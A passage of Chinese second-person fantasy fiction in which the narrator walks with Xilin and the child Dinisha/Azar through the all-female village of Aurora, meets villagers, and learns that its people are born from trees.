“与别人不同的是,母亲并不是因为自身对自由的追求想要离开,而是因为一个男人。那时的奥罗拉还不是现在这样,那个男人乘坐的船遭遇了海难,他被救起后,失去了记忆,所以我们收留了他。母亲……对他产生了好奇。这是一切不幸的开端。”
你听得正入神,温暖的阳光照在脸上,你抬起头,发现你们已经走出了树林,眼前是一大片开阔的金色田野。
正在田间割麦子的女人看到了你们,直起腰朝这边挥手,“中午好,西琳!”
“中午好,索菲亚。”
“你身边是新来的人吗?你们好啊,我是索菲亚。咦?你是……”女人看着迪妮莎,瞪大了眼睛,“阿扎尔?你是阿扎尔吗?”
西琳低头说,“阿扎尔,这是索菲亚。”
“你好……”
索菲亚几步走过来,似乎是想摸一下迪妮莎的头,看了看自己的手,又收回去在衣服上擦了擦。
“太好了,西琳,阿扎尔回来了,你和黛拉就都不用担心了,我这就把消息告诉大家。”
索菲亚扔下田里收了一半的麦子,风风火火地离开。西琳对你抱歉地笑笑,正要说话,田间又钻出两个嬉戏着的小女孩。
“我抓到你了!你输了!”
“这次不算,我是看到西琳才出来的。西琳,我姐姐说中午蒸桂花糕,你来我家吃嘛。”
“中午好,芙蕾雅、露西。今天恐怕不行,我要带阿扎尔和客人去黛拉那里。”
“阿扎尔?”扎着辫子的小女孩打量着迪妮莎,笑起来,“我知道啦,你是西琳的孩子。阿扎尔,我是露西,我们以后可以一起玩哦。”
“我是芙蕾雅。”短发的小女孩接上话。
“你们好!”迪妮莎这次不用提醒,主动地跟她们打了招呼。
“西琳,我一会把桂花糕送到黛拉那里,你要记得吃哦。”芙蕾雅凑上前,红色的眼睛期待地眨了眨。
西琳微笑着摸了摸她的头发,“谢谢。”
“西琳西琳,也摸摸我吧。”
西琳在露西的头上也轻轻摸了摸。
“好了,你们快回去吃饭吧。”
咕咕。
芙蕾雅和露西跑远后,迪妮莎的肚子叫了两声。她攥住西琳的手,露出委屈巴巴的表情,“妈妈,我也饿了。”
“我们去黛拉那里吃,很快就到了。葵,你可以帮我拿一下这个吗?”
你接过西琳的水壶,她弯腰把迪妮莎抱了起来,在她脸上亲了亲。
“阿扎尔才是妈妈最喜欢的孩子哦。”
“嗯!我也喜欢妈妈!”
迪妮莎露出开心的笑。
.
你们一路上遇到了更多奥罗拉的居民,大家都在为阿扎尔的回家感到高兴。西琳带着迪妮莎和她们问好、交谈,直到你们进入一个山谷,周围才重新安静下来。
“抱歉,让你久等了,我接着之前的讲吧。”
“西琳,我想先问你一个问题。”
西琳微微颔首,“请说。”
“这里……是不是没有男人?”
从你进入奥罗拉开始,你遇到的人,无论大人还是小孩,全都是女性。
“是。”
西琳肯定了你的猜测。
你想问她原因,又不确定这是否是一个不能告诉外人的秘密。
西琳露出忧伤的笑,先开口了。
“这是我们和外面的人最大的不同。我们的族人,是从树上诞生的。”